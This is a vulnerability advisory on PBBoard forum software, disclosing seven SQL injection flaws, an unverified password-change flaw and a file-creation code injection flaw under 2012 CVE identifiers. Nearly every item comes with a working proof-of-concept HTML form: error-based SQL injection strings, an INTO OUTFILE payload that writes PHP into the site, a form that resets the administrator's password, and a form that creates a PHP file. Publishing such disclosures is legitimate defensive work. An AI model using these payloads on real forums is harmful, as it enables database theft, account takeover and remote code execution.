High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in PBBoard, which can be exploited to perform SQL injection attacks, change password of arbitrary user and create arbitrary files in folder of the vulnerable application.

1) Multiple SQL Injections in PBBoard: CVE-2012-40341.1 Input passed via the "username" POST parameter to /index.php (when "id", "member" and "start" parameters are set, and "page" is set to "send") is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.The following PoC (Proof of Concept) demonstrates the vulnerability:<formaction="http://[host]/index.php?id=1&member=1&page=send&start=1"method="post"name="main"id="main"><inputtype="hidden"name="username"value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- "><inputtype="submit"name="Submit"value="Send"></form> 1.2 Input passed via the "email" POST parameter to /index.php (when "send_active_code" parameter is set, and "page" is set to "forget") is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.The following PoC demonstrates the vulnerability:<formaction="http://[host]/index.php?page=forget&send_active_code=1"method="post"name="main"id="main"><inputtype="hidden"name="email"value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- "><inputtype="submit"name="Submit"value="Send"></form>1.3 Input passed via the "password" POST parameter to /index.php (when "password_check" and "id" parameters are set, and "page" is set to "forum_archive") is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.The following PoC demonstrates the vulnerability:<formaction="http://[host]/index.php?page=forum_archive&password_check=1&id=1"method="post"name="main"id="main"><inputtype="hidden"name="password"value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- "><inputtype="submit"name="Submit"value="Send"></form>1.4 Input passed via the "section" POST parameter to /index.php (when "move" and "subject_id" parameters are set, and "page" is set to "management") is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.The following PoC demonstrates the vulnerability:<formaction="http://[host]/index.php?page=management&move=1&subject_id=1"method="post"name="main"id="main"><inputtype="hidden"name="section"value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- "><inputtype="submit"name="Submit"value="Send"></form>1.5 Input passed via the "section_id" POST parameter to /index.php (when "startdeleteposts" and "do_replys" parameters are set, and "page" is set to "managementreply") is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.The following PoC demonstrates the vulnerability:<formaction="http://[host]/index.php?page=managementreply&startdeleteposts=1&do_reply s=1"method="post"name="main"id="main"><inputtype="hidden"name="section_id"value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- "><inputtype="hidden"name="check[]"value="1"><inputtype="submit"name="Submit"value="Send"></form>1.6 Input passed via the "member_id" POST parameter to /index.php (when "forget" parameter is set, and "page" is set to "new_password") is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.The following PoC demonstrates the vulnerability:<formaction="http://[host]/index.php?page=new_password&forget=1"method="post"name="main"id="main"><inputtype="hidden"name="member_id"value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- "><inputtype="hidden"name="new_password"value="1"><inputtype="submit"name="Submit"value="Send"></form>1.7 Input passed via the "subjectid" POST parameter to /index.php (when "start" parameter is set, and "page" is set to "tags") is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.The following PoC demonstrates the vulnerability:<formaction="http://[host]/index.php?page=tags&start=1"method="post"name="main"id="main"><inputtype="hidden"name="subjectid"value="' union select '<? php_code ?>',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29, 30,31,32,33 INTO OUTFILE '../../../path/to/site/file.php' -- "><inputtype="submit"name="Submit"value="Send"></form>Successful exploitation of the above-mentioned vulnerabilities (1.1 - 1.7) requires that "magic_quotes_gpc" is set to "off". SQL injection in POST request can be also exploited with a FireFox browser equipped with Tamper Data plugin.

2) Improper Authentication in PBBoard: CVE-2012-4035PBBoard permits to change password of any board member due to absence of any verification of user-supplied "member_id" POST parameter in the password change script.The following PoC changes password for the user with ID=1 (forum administrator):<formaction="http://[host]/index.php?page=new_password&forget=1"method="post"name="main"id="main"><inputtype="hidden"name="member_id"value="1"><inputtype="hidden"name="new_password"value="new_password"><inputtype="submit"name="Submit"value="Send"></form>

3) Code Injection in PBBoard: CVE-2012-4036Input passed via the "xml_name" POST parameter to /admin.php (when "export" and "export_writing" parameters are set, and "page" parameter is set to "addons") is not properly sanitised before being used as a name of a newly created file.An attacker can create an arbitrary .php file and potentially execute arbitrary PHP code on vulnerable system depending on server configuration.The following PoC will create a file located at: http://[host]/addons/file.php that will display result of phpinfo() function execution:<formaction="http://[host]/admin.php?page=addons&export=1&export_writing=1&xml_name=f ile.php"method="post"name="main"id="main"><inputtype="hidden"name="context"value='<? phpinfo(); ?>'><inputtype="submit"name="Submit"value="Send"></form>Successful exploitation of this vulnerability requires administrative priveledges, however can be also exploited via CSRF vector (CVE-2012-1216). The CSRF vulnerability has not been patched by the Vendor Notification date.

Have additional information to submit? Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.